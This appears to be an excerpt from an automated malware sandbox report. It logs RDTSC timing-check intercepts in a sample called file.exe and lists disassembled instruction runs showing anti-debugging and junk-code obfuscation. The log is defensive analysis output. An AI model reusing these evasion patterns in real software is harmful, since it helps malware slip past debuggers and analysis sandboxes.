Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FFFB2 second address: 5FFFB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600266 second address: 60026C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60026C second address: 600270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600270 second address: 600284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007FD4BCDD3066h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600284 second address: 600295 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4BD4D2D4Ch 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600295 second address: 6002AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4BCDD306Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6002AA second address: 6002BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6002BE second address: 6002C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60053D second address: 600542 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600542 second address: 600548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600725 second address: 600736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BD4D2D4Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D62 second address: 600D6C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4BCDD306Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D6C second address: 600D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D75 second address: 600D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3DEE second address: 5F3DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3DF2 second address: 5F3E28 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD4BCDD3066h 0x00000008 jbe 00007FD4BCDD3066h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FD4BCDD307Ch 0x00000018 jmp 00007FD4BCDD3076h 0x0000001d push ebx 0x0000001e jnp 00007FD4BCDD3066h 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1133 second address: 5D1160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007FD4BD4D2D46h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD4BD4D2D4Dh 0x00000014 jmp 00007FD4BD4D2D51h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1160 second address: 5D1164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1164 second address: 5D116A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D116A second address: 5D1170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1170 second address: 5D1197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BD4D2D56h 0x00000009 jmp 00007FD4BD4D2D4Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1197 second address: 5D119B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D119B second address: 5D11A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D11A7 second address: 5D11BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jo 00007FD4BCDD306Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601693 second address: 601697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601826 second address: 60182A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601AD6 second address: 601ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601ADF second address: 601AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601DA0 second address: 601DA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601DA4 second address: 601DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 jnc 00007FD4BCDD307Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FD4BCDD3066h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6040BC second address: 6040C1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608C22 second address: 608C32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FD4BCDD3066h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6076DD second address: 6076E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B8C6 second address: 60B8DC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD4BCDD306Ch 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B8DC second address: 60B8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B8E2 second address: 60B8E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B8E6 second address: 60B8EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BB56 second address: 60BB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BB5C second address: 60BB6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FD4BD4D2D4Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BB6A second address: 60BB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BB6E second address: 60BB82 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jnl 00007FD4BD4D2D46h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BB82 second address: 60BB8E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4BCDD306Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C019 second address: 60C038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BD4D2D56h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C038 second address: 60C03E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C03E second address: 60C042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C186 second address: 60C1FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jns 00007FD4BCDD3066h 0x00000010 pop ecx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 jp 00007FD4BCDD3072h 0x0000001d popad 0x0000001e pushad 0x0000001f push ecx 0x00000020 jmp 00007FD4BCDD3070h 0x00000025 jmp 00007FD4BCDD3072h 0x0000002a pop ecx 0x0000002b pushad 0x0000002c push ebx 0x0000002d pop ebx 0x0000002e pushad 0x0000002f popad 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD4BCDD3075h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C1FE second address: 60C202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C202 second address: 60C208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C356 second address: 60C372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BD4D2D58h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F7DB second address: 60F7DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610276 second address: 6102D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FD4BD4D2D48h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push esi 0x00000025 call 00007FD4BD4D2D4Bh 0x0000002a push esi 0x0000002b pop esi 0x0000002c pop edi 0x0000002d pop esi 0x0000002e mov esi, edx 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 jnc 00007FD4BD4D2D48h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610D36 second address: 610D50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BCDD3076h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610D50 second address: 610D9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FD4BD4D2D48h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 mov esi, dword ptr [ebp+122D25ECh] 0x0000002d push 00000000h 0x0000002f cld 0x00000030 xchg eax, ebx 0x00000031 pushad 0x00000032 jno 00007FD4BD4D2D4Ch 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6116FD second address: 611701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611701 second address: 611777 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4BD4D2D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FD4BD4D2D48h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov esi, dword ptr [ebp+122D3175h] 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+124447FBh], esi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FD4BD4D2D48h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000016h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov esi, edx 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FD4BD4D2D56h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611777 second address: 61177D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61177D second address: 611781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611781 second address: 611796 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611796 second address: 6117B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4BD4D2D57h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612015 second address: 61203C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4BCDD3079h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6133AA second address: 613448 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4BD4D2D51h 0x00000008 jmp 00007FD4BD4D2D4Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 ja 00007FD4BD4D2D51h 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FD4BD4D2D48h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 movzx edi, si 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebp 0x00000039 call 00007FD4BD4D2D48h 0x0000003e pop ebp 0x0000003f mov dword ptr [esp+04h], ebp 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc ebp 0x0000004c push ebp 0x0000004d ret 0x0000004e pop ebp 0x0000004f ret 0x00000050 push 00000000h 0x00000052 sub dword ptr [ebp+124452EEh], edx 0x00000058 xchg eax, ebx 0x00000059 pushad 0x0000005a jmp 00007FD4BD4D2D51h 0x0000005f pushad 0x00000060 pushad 0x00000061 popad 0x00000062 js 00007FD4BD4D2D46h 0x00000068 popad 0x00000069 popad 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jo 00007FD4BD4D2D4Ch 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613448 second address: 61344C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61344C second address: 613453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614F7B second address: 614F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613C9E second address: 613CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614F7F second address: 614F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD4BCDD3066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push edx 0x0000000e jns 00007FD4BCDD3068h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2D8A second address: 5D2D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2D90 second address: 5D2D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6155F6 second address: 61561B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FD4BD4D2D52h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 je 00007FD4BD4D2D46h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616C36 second address: 616C3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616C3A second address: 616C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615E37 second address: 615E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61694E second address: 616954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615E3B second address: 615E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617653 second address: 61766D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD4BD4D2D4Ah 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007FD4BD4D2D54h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616954 second address: 61695A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61695A second address: 61695E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BF49 second address: 61BF63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3076h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C0E3 second address: 61C0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C0E7 second address: 61C0EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E0A8 second address: 61E0AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FFA1 second address: 620004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007FD4BCDD3068h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 push 00000000h 0x00000023 sub dword ptr [ebp+12470EB8h], esi 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007FD4BCDD3068h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 mov edi, 7981EA32h 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e jnc 00007FD4BCDD3066h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621094 second address: 621098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621098 second address: 62112A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD3075h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD4BCDD3075h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FD4BCDD3068h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007FD4BCDD3068h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 mov dword ptr [ebp+12443C8Ch], edx 0x0000004c push 00000000h 0x0000004e jmp 00007FD4BCDD3073h 0x00000053 push eax 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62112A second address: 62112E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
